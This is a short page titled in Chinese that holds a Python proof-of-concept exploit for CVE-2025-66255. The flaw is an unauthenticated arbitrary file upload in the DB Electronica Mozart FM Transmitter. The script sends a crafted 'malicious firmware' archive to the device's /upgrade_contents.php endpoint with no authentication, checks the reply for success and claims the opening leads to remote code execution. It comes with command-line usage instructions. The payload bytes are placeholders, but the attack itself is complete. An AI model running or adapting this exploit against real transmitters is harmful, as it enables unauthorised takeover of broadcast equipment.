CVE-2025-66255: DB Electronica Mozart FM Transmitter未授权任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-66255 PoC DB Electronica Mozart FM Transmitter - Unauthenticated Arbitrary File Upload """ import requests import sys import os def create_malicious_firmware(): """Create a malicious firmware package""" # Create a simple .tgz file with malicious content # In real attack, this would contain actual malicious firmware malicious_content = b'MALICIOUS_FIRMWARE_PAYLOAD_' + b'A' * 100 return malicious_content def exploit_cve_2025_66255(target_url, output_file=None): """ Exploit for CVE-2025-66255: Unauthenticated Arbitrary File Upload Args: target_url: Base URL of the Mozart FM Transmitter web interface output_file: Optional file to save the response """ # Endpoint for firmware upgrade upload_endpoint = f"{target_url.rstrip('/')}/upgrade_contents.php" # Create malicious firmware firmware_data = create_malicious_firmware() print(f"[*] Target: {target_url}") print(f"[*] Upload endpoint: {upload_endpoint}") print(f"[*] Creating malicious firmware payload ({len(firmware_data)} bytes)") try: # Send malicious file upload request (no authentication required) files = { 'firmware': ('malicious.tgz', firmware_data, 'application/octet-stream') } print("[*] Sending malicious firmware upload request...") response = requests.post(upload_endpoint, files=files, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") if output_file: with open(output_file, 'w') as f: f.write(response.text) print(f"[*] Response saved to: {output_file}") # Check for indicators of successful exploitation if response.status_code == 200: if 'success' in response.text.lower() or 'uploaded' in response.text.lower(): print("[+] VULNERABLE! File upload appears successful") print("[+] Attacker can now deploy malicious firmware for RCE") return True print("[-] Upload may not have succeeded - manual verification needed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66255_poc.py <target_url> [output_file]") print("Example: python cve-2025-66255_poc.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] output = sys.argv[2] if len(sys.argv) > 2 else None exploit_cve_2025_66255(target, output)